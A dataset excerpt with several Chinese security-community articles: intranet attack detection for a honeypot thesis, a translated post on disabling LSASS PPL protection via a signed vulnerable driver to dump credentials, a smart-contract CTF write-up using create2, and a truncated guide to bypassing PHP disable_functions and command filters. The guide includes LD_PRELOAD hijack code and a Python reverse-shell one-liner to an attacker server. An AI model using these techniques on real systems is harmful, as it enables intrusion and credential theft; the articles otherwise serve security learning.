text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
将蜜罐技术应用到内网攻击感知中，一篇硕士论文的研究过程与demo实现，抛砖引玉。计划的系列文章内容分为以下几个部分，按照论文撰写的脉络来讲：
1. 蜜罐与内网安全选题思考
2. 蜜罐技术科普与发展简述（2016年）
3. **常见内网攻击类型及检测思路-本文**
4. 多款开源蜜罐数据样例与应用分析
5. 攻击序列、攻击模式与攻击者标签
6. 攻击模式匹配算法提出
7\. demo系统设计
8\. demo实现过程中的一些技术点
7. 实验室环境下的测试过程
8. 我的论文小结（附参考文献列表）
* * *
这里说的内网通常指的是局域网或企业内网（通常会通过访问控制技术和互联网相对隔离），随着网络技术和设备的不断发展，内网常见的攻击手段也在不断丰富和变迁，如网络嗅探、拒绝服务（Denial
Of
Service）、端口扫描、暴力破解、ARP攻击、DNS劫持等，随着网络服务种类的增多，内网的攻击面也在不断扩大[1]。本章节主要介绍当前常见的内网攻击类型，并分析检测的思路。
# 0x01 端口扫描及暴力破解
1） **端口扫描**
端口扫描是一种攻击初期的信息收集技术，主要用来判断目标主机是否开放相应的端口和服务，通过向目标主机发送端口连接请求，然后根据目标主机的回应信息判断目标对应端口是否开放[19]。
攻击者在进入内网后，为了扩大战果通常会进一步探测内网结构和重要信息资产，因此往往会对内网网段进行端口扫描来判断内网中的网络拓扑以及每台内网主机开放的端口及服务[20]。端口扫描是攻击者进行前期信息收集的有效手段，能快速暴露内网信息资产类型及分布。
常见端口及服务如FTP（21端口）、MySQL（3306端口）、HTTP（80端口）等等，其实企业中有更丰富的应用，比如Rsync、redis、mongodb等，这些服务百度一下就可以搜到相应的介绍，至于常见的企业应用端口和服务可以参考这篇文章
[白帽子黑客端口大集合](http://www.toutiao.com/a6468165247529124366/)。
通常在扫描到目标系统对应端口开放后，攻击者可能会对需要登陆的服务进行弱口令尝试、未授权访问、暴力破解等，比如对21端口的FTP服务进行反复登录尝试。
2） **端口扫描检测思路**
端口扫描检测思路相对明确，通常可采用监听本地端口的方式，被动等待连接，可对常用端口和服务进行监听，也可对全端口进行监听。监听对应端口后便可对该端口的连接请求进行检测并对来源和频率进行记录[23]。
说到这里，其实看了几篇论文后，会出现“水平扫描” 与 “垂直扫描” 这两个名词。其实也很容易理解，比如 **垂直扫描**
，就是对一个IP扫描一个端口范围，比如1-65535整个端口范围；而 **水平扫描**
，指的就是针对某一个端口，比如21端口，扫描一个IP网段，比如从192.168.1.1-192.168.1.255 。
那么问题来了，看下图， **在一个局域网内部署两台以上蜜罐终端，比起单台蜜罐终端有哪些实际意义呢** ？
首先，我这里蜜罐的设计思路，都是被动地等待攻击者来探测和攻击，不会主动发包什么的，我把这叫做“不打扰是我的温柔”，简单说就是“被动式蜜罐”。在这个前提下，如果攻击者对内网进行扫描的话，在内网中部署的蜜罐越多，检测到扫描行为的概率越大，怎么理解呢？
比如192.168.1.1-255这个局域网，我们的蜜罐是192.168.1.90，如果攻击者针对某些端口（如21端口）进行整个网段的水平扫描，那我们的90蜜罐当然能捕获到扫描行为，但是我们不能总假设攻击者会这样做吧，比如有经验的攻击者为了隐蔽，可能只会扫描部分网段，比如高网段或低网段，那岂不是我们部署在192.168.1.90岂不是捕获不到这种扫描行为了，所以，
**在内网重要信息系统分布区的相邻网址部署多个被动式蜜罐可以提高内网攻击的检测覆盖率** 。
额外说几点，在内网中部署两台以上的被动式蜜罐，还可以避免单点故障，以及检测蜜罐被控的情况，比如A蜜罐发现B蜜罐有主动扫描的行为，就可以判定这个B蜜罐已经沦陷了。
# 0x02 ARP攻击
1） **ARP攻击原理和危害**
ARP地址解析协议（Address Resolution Protocol）位于TCP/IP四层协议的网络层，负责解析IP地址和MAC地址的对应关系
[24]。
ARP欺骗通常通过在局域网中发送伪造IP地址和MAC地址的ARP应答包对目标进行攻击，在目前主流的基于路由器的局域网中，ARP欺骗攻击同样适用，ARP欺骗攻击可使受害者无法上网，造成拒绝服务，也可通过伪造网关的ARP应答包进行中间人攻击，嗅探内网敏感数据，甚至能获取到内网用户的用户名口令等信息[19]。
ARP欺骗的攻击过程可简要描述如下：
（1）攻击者在局域网段发送构造好的包含虚假IP-MAC对应信息的ARP应答包，使局域网的其他设备认为攻击者的机器是网关，从而充当假网关。
（2）被攻击者的将数据包发送给虚假网关。
（3）假网关（攻击者）分析接收到的数据包，把有价值的数据包记录下来（如邮箱、电商登录数据包）。
（4）假网关（攻击者）再把数据转发给真正的网关，充当中间人。
在内网渗透中可以通过ARP攻击嗅探到管理员的帐号密码等敏感信息。
不知道有没有小伙伴玩过 dSploit 这个无线内网攻击工具（dSploit停更后又出了个
cSploit），它的很多攻击手段就是利用了ARP欺骗，比如通过ARP欺骗，把自己伪造成网关，利用“中间人攻击”的思路可以劫持同一个局域网内别人的Web会话，如看到别人正在浏览的淘宝、唯品会、微博等并能直接操作，我原来也玩过一阵子，是下载的apk安装包装到安卓平板上测试的，给几张截图：
目前很多APP已经通过加强https，校验服务端证书等方式检测和对抗类似的中间人攻击，异常时也会给用户一定的提示。
2） **ARP攻击检测思路**
ARP欺骗能够成功的关键点在于由于协议本身的特点，当攻击者发送伪造的ARP应答包冒充网关时，被攻击者没有对声称者的MAC地址和IP地址的真实性进行确认[25]。因此，假设局域网内的检测设备，每次启动时，记录当前网关的IP和MAC地址，先假设当前网关可信，并通过一段时间内网关IP和MAC地址对应关系的变化来再次确认。当突然发现ARP协议中声称的网关IP和MAC地址发生变化时，可对新的IP和MAC对应关系的真实性进行判断和确认，从而检测是否遭受了ARP攻击，并记录攻击源的MAC地址。可通过定期读取本地IP-MAC对应表的方式，对局域网内的设备地址和对应关系进行记录，从而及时发现ARP攻击[26]。IP-MAC对应表如下图所示。
需要说明的是，通过”arp -a”命令获取到的IP-MAC对应表并非包括局域网内的全部设备，通常只包括和本机发生过数据通信的主机，但是列表中一定会包含网关，和试图攻击本机的局域网内主机，因此通过此种方法可以获取到需要的IP-MAC对应信息。
# 0x03 DNS劫持
1）DNS劫持原理和危害
DNS（Domain Name
System）域名服务主要是提供域名到IP地址的映射和转换[27]。在Internet的普及过程中，因为域名比IP更容易记忆，所以Internet的用户通常只会通过域名来访问一个站点，因此DNS服务的作用非常关键
[24]。通常局域网网关会在网络配置中设置可信的DNS服务器地址，但基于现有的路由器网络，由于种种路由器漏洞、弱口令等安全问题，路由器一旦被攻击者控制，攻击者便可通过篡改DNS指向自己控制的可定制的DNS服务器，就能实现区域的网络流量劫持和篡改，窃取敏感信息，甚至通过替换返回流量植入远控木马，从而控制内网计算机，极大危害整个内部网络的安全[28]。
先说如何远程修改人家路由器的DNS，我原来实践过一个思路，就是针对一些老版本的路由器（比如老款的TP-link），利用CSRF漏洞。
**你假设目标用户家里的路由器默认帐号密码是admin和admin，然后假设默认路由器地址是192.168.1.1，然后你就可以自己搭建个Web页面，然后再页面中嵌入类似如下这句payload（这个payload也是我根据路由器实际修改DNS的数据包构造的,假设想把目标用户的路由器DNS改为16.16.16.16）**
，然后你把自己构造的互联网可访问的Web页面URL发给目标用户（假设构造好的URL为<https://sosly.me/luyouqitest.html），>
如果他点击了你的URL，页面中的payload就会用你猜测的密码和路由器IP去尝试修改DNS，如果你都猜对了，就能成功修改目标路由器的DNS了：
这个payload的成功关键在与你猜对了用户名密码，和路由器的IP地址，其实很多老版本路由器都有默认的用户名密码和IP地址，小白用户也大都不会改，所以当时这种CSRF攻击成功率还是很高的。如果是猜测用户刚好登陆了自家的路由器的状态，那我们的payload就可以省略猜测用户名密码的部分，当然你也可以多嵌入几个payload猜测不同的密码或路由器IP地址，提高成功率。
目前的路由器大多已经加强了安全机制，比如我买过新款的TP-link，就取消了默认密码设定，让用户首次使用时自己设定初始密码。
DNS劫持示意图下图所示。
**DNS劫持的危害属于“人有多大胆，地有多大产”**
，简单的比如在网页返回包中植入广告，严重的监控你的下载行为进行病毒木马程序的替换，隐蔽点的监控你某款软件的升级行为，然后对升级包进行替换，从而神不知鬼不觉地植入远程控制的木马等等。
2） **DNS劫持检测思路**
检测DNS的思路主要有两种，首先通过命令”ipconfig -all”或者”ifconfig”可以读取到本地的DNS设置，如下图所示。
需要说明的是，该DNS默认情况下是通过DHCP的方式由网关自动配置，也可以通过本地配置。因此，可以定期读取本地的DNS配置，然后通过建立可信DNS白名单的方式对本地DNS的安全性进行判断。
根据DNS劫持的原理，由于DNS劫持后会对全部或者部分流量进行代理，这种技术一个简单的实现思路，就是不管你请求什么域名，返回的IP地址会统一指向
**攻击者控制的流量监控和转发服务器的IP地址**
，然后那个服务器会对经过的流量进行监控和替换，因此通过ping命令，ping若干知名站点，如百度(www.baidu.com)、京东(www.jd.com)，若返回IP为当前DNS的IP或某一个相同的IP，则可判断已受到上述这种DNS劫持攻击[29]。
# 0x04 其他内网攻击
除了上述端口扫描以及暴力破解、ARP攻击、DNS劫持外，内网还可能出现网络嗅探[30]、伪装DHCP服务器[31]、拒绝服务DoS(Denial Of
Service)
[32]、漏洞扫描[33]等攻击手段，但在以太网网络架构下，随着网关设备、终端操作系统及防护软件的升级，一些内网攻击手段的代价在不断提升，有效性在不断降低，因此本节只重点介绍了当前内网比较常见以及危害较大的端口扫描及暴力破解、ARP攻击、DNS劫持三种内网攻击手段，并对相应的检测思路进行了阐述。另一方面也是因为精力问题没有再进一步扩展。
# 0x05 部分参考文献
这些文献大多是论文，通常高校的校园网访问图书馆系统或者一些第三方论文库都可以免费搜索访问。
* [1] 李欣, 侯松霞. 内网安全防御系统的研究[J]. 计算机应用, 2007, 27(B06):245-246.
* [19] 吴灏. 网络攻防技术[M]. 机械工业出版社, 2009.
* [20] 常用服务和开放端口对照[EB/OL]. <http://jingyan.baidu.com/article/03b2f78c498da25ea237aeb8.html>, 2014.2.13.
* [21] 上野宣. 图解HTTP[M]. 人民邮电出版社, 2014.
* [22] 竹下隆史, 乌尼日其其格. 图解TCP/IP(第5版)[J]. 电脑编程技巧与维护, 2014(6).
* [23] 马琳. 基于端口扫描检测技术的实现[J]. 信息系统工程, 2013(3):107-108.
* [24] 谢希仁. 计算机网络(第5版)(附光盘)[M]. 电子工业, 2012.
* [25] 董延华, 李爽, 宋珊. 基于网络协议仿真系统的ARP攻击原理分析[J]. 吉林师范大学学报:自然科学版, 2011, 32(1):65-66.
* [26] 阮清强. ARP攻击检测与定位方法研究[J]. 信息网络安全, 2010(4):66-66.
* [27] Daisuke M, Katsunari Y, Tsutomu M. Observing DNS Amplification Attacks with DNS Honeypot[J]. Ipsj Journal, 2014, 55:2021-2033.
* [28] 胡小梅, 刘嘉勇. 基于DNS劫持的流量监测系统设计与实现[J]. 网络安全技术与应用, 2016(1).
* [29] 刘京义. 针锋相对抗击DNS劫持[J]. 网络运维与管理, 2015(1):103-106.
* [30] 黄孝楠, 韩宇. 用于局域网的网络嗅探器的设计[J]. 网络安全技术与应用, 2014(8):95-96.
* [31]安全科普：流氓DHCP服务器内网攻击测试.<http://www.freebuf.com/articles/network/74995.html>, 2015.8.15.
* [32] 严芬, 王佳佳, 赵金凤,等. DDoS攻击检测综述[J]. 计算机应用研究, 2008, 25(4):966-969.
* [33] Nmap脚本使用总结.<http://drops.wooyun.org/tips/2188>, 2014.6.8.
_系列文章，未完待续，看这更新的频率，“不打扰是我的温柔”这种借口我都不好意思说了_...
* * *
_也欢迎关注我的博客：sosly 菜鸟笔记_
<https://sosly.me> | 社区文章 |
# 在WIN10上不使用Mimikatz绕过LSA保护（PPL）
|
##### 译文声明
本文是翻译文章，文章原作者 redcursor，文章来源：redcursor.com.au
原文地址：<https://www.redcursor.com.au/blog/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10>
译文仅供参考，具体内容表达以及含义原文为准。
从Windows 8.1（和Server 2012
R2）开始，Microsoft引入了一项称为LSA保护的功能。此功能基于PPL技术，它是一种纵深防御的安全功能，旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。
我发现许多人都对这个技术存在误解，认为LSA
Protection是阻止利用SeDebug或管理员权限从内存中提取凭证的攻击,例如使用Mimikatz来提取凭证。实际上LSA保护不能抵御这些攻击，它只会让你在执行这些攻击前，需要做一些额外的操作，让攻击变得更加困难一些。
要绕过LSA保护，您有几种选择：
1.删除RunAsPPL注册表项并重新启动（这可能是最糟糕的方法，因为您将丢失内存中的所有凭据）
2.通过修改EPROCESS内核结构，在LSASS进程上禁用PPL标志
3.直接读取LSASS过程存储器的内容，而不使用打开的过程函数
后两种方法需要具有读取和写入内核内存的能力。实现此目的最简单的方法是通过加载驱动程序，尽管您可以创建自己的驱动程序，但我决定利用产品MSI
Afterburner的RTCore64.sys驱动程序。我选择该驱动程序是因为它已签名，并允许读写任意内存，感谢MSI。
我决定实施第二种方法，因为删除PPL标志允许使用现成的工具（如Mimikatz）从LSASS转储凭证。为此，我们需要找到LSASS
EPROCESS结构的地址，并将5个值（SignatureLevel，SectionSignatureLevel，Type，Audit和Signer）修改为零。
EnumDeviceDrivers函数可用于泄漏内核基地址。这可以用来定位PsInitialSystemProcess，它指向系统进程的EPROCESS结构。由于内核将进程存储在链接列表中，因此EPROCESS结构的ActiveProcessLinks成员可用于迭代链接列表并查找LSASS。
如果我们看一下EPROCESS结构（请参见下面的图2），我们可以看到我们需要修改的5个字段通常都按连续4个字节对齐。
这使我们可以在单个4字节写入中修改EPROCESS结构，如下所示：
“WriteMemoryPrimitive（设备，4，CurrentProcessAddress + SignatureLevelOffset，0x00）;
现在已经删除了PPL，所有转储LSASS的传统方法都可以使用，例如MimiKatz，MiniDumpWriteDump API调用等。
可以在[GitHub](https://github.com/RedCursorSecurityConsulting/PPLKiller
"GitHub")上找到用C / C ++编写的用于执行此攻击的工具。 我仅在Windows
1903、1909和2004上进行过测试。它应该在所有版本的Windows上都可以运行。 | 社区文章 |
# 第五空间 CreativityPlus & BalsnCTF 2019 Creativity
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* * *
两道一致考点的CTF题目，放在一起进行讨论。
首先先看 BalsnCTF 的题目。
题目给出了下面的代码。
pragma solidity ^0.5.10;
contract Creativity {
event SendFlag(address addr);
address public target;
uint randomNumber = 0;
function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}
function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}
function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}
目标是触发SendFlag() ,但是很明显 10000000 ether是很难做到的。但是他这里给出了一个
`excute()`方法，这里可以任意调用target 地址合约的内容。
那么就是寻找如何改变target的地址 从而成为我们自己本身的恶意合约地址。
这里有一个`check`方法，可以满足更改target地址的情况。
但是一定要满足合约里的bytecode >0 且 < = 4
才能成功更改。 我们知道 四个指令以下做到触发事件是不可能的。
所以这里只能考虑 是否能在check之前使得合约满足条件,check之后让其改变呢。
那么这里就引入了新的合约创建方法 `create2`
这里我粘贴官方手册create2的用法。
而create2 合约地址的计算如下
keccak256 (0xff ++ address ++ salt ++ keccak256 (init_code)) [12:]
salt为自己加盐，和正常的一些加密方式加盐相同含义。 init_code是自己的字节码。 address 是部署合约的地址。
但是我们init_code 是不同的，这里又有了一种较为神奇的方法。最初是由ethscan上被检测，然后公开了代码
https://ropsten.etherscan.io/address/0xb3ecef15f61572129089a9704b33d53f56991df8?__cf_chl_captcha_tk__=bb3c99eeb7468e5a569bd45cdfc3d360c3637bde-1620024594-0-AY2IJmwx8s_mLtqg5_QT9Ov6Z1tfJO2mnoC0__p5ib1qw9pYRJeEX4hri0UJ_dhf7fRwdS5OQ5Te5haOpfQCsXlx-HHM8k20PsgHoxS2XoI2z-UHNs1-AmU6CKTvoHl_26hzSbrE5lg2XjXyMJQuuDD6da3RibxdODEkLFwhamSEkaL366HehUh2oEAfBgd5vGSCh64vtFNKq_FmA4yjfd8RHovYGemB-kI0EISbiGVHkWnhARmh1LHjTp64Yd_oR6dT8z18wDcez6qewWZLePYhP0cG5XN610arcUgEzRsgwETWk-twMaQtN1duk5QNOv2owGOxBJODcbZQeTxj0ni29zmaaIcvLL_wL4bPpYExi6ouhMtYDqfq3Z7qijKoGcTiantR965Fb65y4GCDI3mgHriQzMp46XZsny0AQi56wruToL9E76Ozpwisy5k3Ms8RnpqnIzF6mAOefuMuvHf3VFeoGsJVYzR6jG92HV7jiQSnwPST02kG6x9_O4olzDQhjwsx-I-4S_3qAO6G2vBZt_vbTk4YZd9CpBIdShWlmkVa6Pbzit93YT-i1Lz4htGwNNvpCRCJunTo22lWo8rpTiDh7dB3sot4mJeVYYgWXhyqiL8-E9PUXTlggN-IMOavFP7lI2zZ1mCJdJPok16uuUFas3p-6v1-047HraCtPJ_seKL5voViO8xP2pKCVKXxgk-BN1Hs2rgYyhNXHmQww4BdD2A1ZPXS1ZKvd5ox#code
后来这里就被整理出来代码为如下
pragma solidity ^0.5.10;
contract Deployer {
bytes public deployBytecode;
address public deployedAddr;
function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
}
deployedAddr = a;
}
}
contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
DumpBytecode就是 下面的dumper
合约，当constructor的时候他会读取真正部署的字节码。然后返回去。所以这样就可以满足每次部署的Bytecode相同了。
这样也就完成了骚操作。也就是能够把两个完全不同的字节码部署到同一个地址。
当然第二次部署前这个合约要销毁。
那么这里首先考虑是如何销毁，肯定会想到Selfdestruct
然后随便给个地址就可以了。但是没有额外的字节码允许push，最好直接找一个能返回值的指令。发现可以找tx.origin,或者是 msg.sender
于是可以构造如下字节码
`0x32ff | 0x33ff`
这样就可以成功的部署和通过check，随后给该合约发一个空交易。或者一个单纯的转账操作。也可以完成它的自毁。
最后我们所需要做的就是触发SendFlag事件，这里不会写字节码 or
觉得写字节码麻烦就可以直接写一个合约触发，然后remix上直接dumpbytecode即可。
* * *
接下来分析第五空间的CreativityPlus。
## CreativityPlus
给源码
pragma solidity ^0.5.10;
contract CreativityPlus {
event SendFlag(address addr);
address public target;
address public owner;
uint randomNumber = RN;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}
function execute() public {
require( target != address(0) );
address tmp;
uint size;
assembly {
tmp := and(sload(0),0xffffffffffffffffffffffffffffffffffffffff)
size := extcodesize(tmp)
}
require( size > 0 && size <= 10);
(bool flag, ) = tmp.call(abi.encodeWithSignature(""));
if(flag == true) {
owner = msg.sender;
}
}
function payforflag() public payable onlyOwner {
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
}
前面的check还是一样的，但是最后还进行了一个10字节的check，需要你返回一个 真值。这里其实是ethernaut的一个challenge的
就是10字节部署的字节码能返回一个值。
把2a 改成01就行了。
6001 PUSH1 0x01
6080 PUSH1 0x80
52 Mstore
6020 PUSH1 0x20
6080 PUSH1 0x80
f3 return
`0x600160805260206080f3` 部署一下
调用excute函数就可以了。 | 社区文章 |
# 浅谈命令执行的绕过方法
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
命令执行漏洞已经学过很久了，但一直没有系统地简单总结一下命令执行的绕过方法。这里简单归纳总结一下：
## 0x01 常见的命令执行函数
因为之前已经详细总结过，这里只总结一些常见的:
system() #输出并返回最后一行shell结果。
exec() #不输出结果，返回最后一行shell结果，所有结果保存到一个返回数组里。
passthru() #只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果，而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
反引号 #实际上是使用shell_exec()函数
## 0x02 常见命令分隔符、终止符和截断符号
在命令执行漏洞的考察中，主要用到了`命令分隔符`：
### 1、命令分隔符
windows： && || & |
linux： && || & | ;
#分号;在shell中担任连续指令的功能
#下面的需php环境
%0a 换行符
%0d 回车符
### 2、命令终止符
#需php环境
%00
%20#
### 3、截断符号
$
;
|
&
- (
)
{
}
反引号
||
&&
%0a #有时可当空格使用
## 0x03 命令执行绕过
一般情况下，遇到的命令执行绕过我简单总结成以下主要的四种情况：
1.disable_function
2.过滤字符
3.命令盲注
4.无回显的命令执行
### 1、disable_function
在`php.ini`文件里，使用disable_function选项，可以禁用一些PHP危险函数。
通过查看phpinfo信息，可以浏览器上看到`disable_function`禁用的函数。
当我们发现一个可以代码执行的地方，传入命令执行函数去执行系统命令，发现并不能成功，原因就是在`php.ini`文件里使用`disable_function`选项禁用了命令执行有关的危险函数。如对`disable_function`进行如下配置：
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
查阅大师傅的博客，发现绕过disable_function有以下两种最常用的方法：
> 1.ld_preload
> 2.php_gc
#### 1.ld_preload
**利用场景** ：实现了代码执行，未实现命令执行，且没有禁用`mail`函数
**利用条件** ：
（1）没有禁用`mail`函数。
（2）站点根目录具有写文件权限
或其他目录具有写文件权限，并且可以在url上跳转到其他目录访问上传的php文件
或其他目录具有写文件权限，利用代码执行实现本地文件包含，包含最后要访问的php文件
**相关知识** ：
LD_PRELOAD 劫持系统函数
> LD_PRELOAD
> 是linux系统的一个环境变量，它可以影响程序的运行时的链接，它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
>
>
> php中的mail、error_log函数是通过调用系统中的sendmail命令实现的(其他类似php中的函数还有imap_mail、mb_send_mail参考)，sendmail二进制文件中使用了getuid库函数，这样我们可以覆盖getuid函数。
**利用过程1** ：
于是可以通过利用环境变量`LD_PRELOAD`劫持系统函数，让外部程序加载恶意的.so文件，达到执行系统命令的效果。具体步骤如下：
（1）编写一个c文件，实现我们自己的动态链接程序
`hack1.c`
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
}
通过设置`preload`可以劫持比较底层的函数。这里劫持了`geteuid`函数
（2）将带有系统命令的c文件`hack1.c`编译成为一个动态共享库，生成.so文件`hack1.so`
gcc -c -fPIC hack1.c -o hack1
gcc --share hack1 -o hack1.so
（3）通过`putenv`设置`LD_PRELOAD`，让`hack1.so`优先被调用。并通过mail函数发送一封邮件来触发。
`qwzf1.php`
<?php
putenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/
mail('','','',''); //mail函数调用系统中的sendmail命令，sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数，实现覆盖geteuid函数。
?>
（4）如果站点根目录有文件写入权限，直接利用代码执行(或蚁剑上传)在站点根目录传入`hack1.so`和`qwzf1.php`文件。访问php文件，就会运行刚才c文件里写的`ls`命令，最后就可以在`/tmp/smity`文件中看到`ls`的结果了。
然而，使用蚁剑上传`hack1.so`和`qwzf1.php`文件，发现站点根目录并没有文件写入权限。同时发现`/tmp/`目录具有文件写入权限。
于是我考虑使用蚁剑上传`hack1.so`和`qwzf1.php`文件到`/tmp/`目录下，然后利用代码执行实现文件包含漏洞包含`qwzf1.php`文件，实现访问php文件的效果：
?code=include('/tmp/qwzf1.php');
查看`/tmp/smity`
上面实现了劫持函数绕过disable_function。
**利用过程2** ：
但如果需要执行多条命令，一步一步的操作似乎有点麻烦，有什么好方法可以只需编译一次c文件，连续执行任意命令呢？
查阅大师傅博客发现：可以通过设置`EVIL_CMDLINE`环境变量的方式实现。大致步骤和上面的差不多，只不过 `c文件和php文件`的文件内容变了
（1）`hack2.c`
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid()
{
const char* cmdline = getenv("EVIL_CMDLINE"); //获得系统的环境变量EVIL_CMDLINE
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD"); //删除系统变量
system(cmdline);
}
（2）将c文件编译成动态链接库：
gcc -shared -fPIC hack2.c -o hack2.so
（3）`qwzf2.php`
<?php
$cmd = $_REQUEST["cmd"]; //要执行的系统命令
$out_path = $_REQUEST["outpath"]; //命令执行结果输出到指定路径下的文件
$evil_cmdline = $cmd." > ".$out_path." 2>&1"; //2>&1将标准错误重定向到标准输出
echo "<br /><b>cmdline: </b>".$evil_cmdline; //打印显示实际在linux上执行的命令
putenv("EVIL_CMDLINE=".$evil_cmdline); //将执行的命令，配置成系统环境变量EVIL_CMDLINE
$so_path = $_REQUEST["sopath"]; //传入.so文件
putenv("LD_PRELOAD=".$so_path); //将.so文件路径配置成系统环境变量LD_PRELOAD
mail("", "", "", ""); //mail函数调用系统中的sendmail命令，sendmail二进制文件中使用了getuid库函数。调用.so文件里的getuid函数，实现覆盖getuid函数。
echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));
//nl2br()函数在字符串中的每个新行（\n）之前插入HTML换行符
//file_get_contents() 把整个文件读入一个字符串中。即把最后命令执行结果从文件读取成字符串
?>
（4）将`hack2.so`文件和`qwzf2.php`文件，通过代码执行写入(或使用蚁剑直接上传)具有写入权限的目录。
然后在浏览器上测试：
http://x.x.x.165:8001/?code=include('/tmp/qwzf2.php');
post: cmd=ls&outpath=/tmp/test&sopath=/tmp/hack2.so
测试成功！
**利用过程3** ：
有没有一种方法可以不劫持函数绕过 disable_function呢？
查阅大师傅博客发现了不劫持函数绕过 disable_function的方法：
> GCC 有个 C 语言扩展修饰符attribute((constructor))，可以让由它修饰的函数在 main()
> 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行attribute((constructor)) 修饰的函数。
只需要找到php环境中存在执行系统命令的函数、且putenv函数未被禁用的情况下，就可以绕过disable_function。
（1）`hack3.c`
#include <unistd.h>
void payload(void){
system("ls /var/www/html > /tmp/smity");
}
__attribute__ ((__constructor__)) void exec(void){
if (getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}
（2）将c文件编译成动态链接库：
gcc -shared -fPIC hack3.c -o hack3.so
（3）`qwzf3.php`
<?php
putenv("LD_PRELOAD=/tmp/hack3.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack3.so"); /*假设站点根目录下具有写权限*/
mail('','','','');
?>
（4）将`hack3.so`和`qwzf3.php`写入到具有文件写入权限的目录下，利用代码执行实现文件包含访问
?code=include('/tmp/qwzf3.php');
查看`/tmp/smity`文件，得到命令执行结果
#### 2.php_gc
**利用场景** ：实现了代码执行，未实现命令执行
**利用条件** ：php7.0 < 7.3
**一般步骤** ：
1. 利用蚁剑连接shell代码执行
2. 将下面的脚本写好命令传上去然后访问
3. 利用phpgc进程Bypass
[脚本地址](https://github.com/mm0r1/exploits)
#### 3.利用pcntl_exec函数
**利用场景** ：实现了代码执行，未实现命令执行，且没有禁用`pcntl_exec`函数
**利用条件** ：PHP 4 >= 4.2.0, PHP 5
**相关知识** ：
> pcntl是linux下的一个扩展，可以支持php的多线程操作。(与python结合反弹shell)
> pcntl_exec函数的作用是在当前进程空间执行指定程序
**一般步骤** ：
1. 利用蚁剑连接shell代码执行
2. 将下面的php代码传上去然后访问
3. 在公网服务器监听端口，实现反弹shell
**利用代码** ：
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("公网服务器IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
监听利用代码中填写的端口
nc -lvvp 4444
不想再重新搭建环境，所以这个地方没进行复现。。。
### 2、绕过过滤字符
#### 1.空格绕过
${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #用逗号,实现了空格功能
%20
%09
**1.`${IFS}`**
这算是Linux中的一个变量
> Linux下有一个特殊的环境变量叫做IFS，叫做内部字段分隔符（internal field separator）。IFS环境变量定义了bash
> shell用户字段分隔符的一系列字符。默认情况下，bash shell会将下面的字符当做字段分隔符：空格、制表符、换行符。
**花括号的别样用法** ：
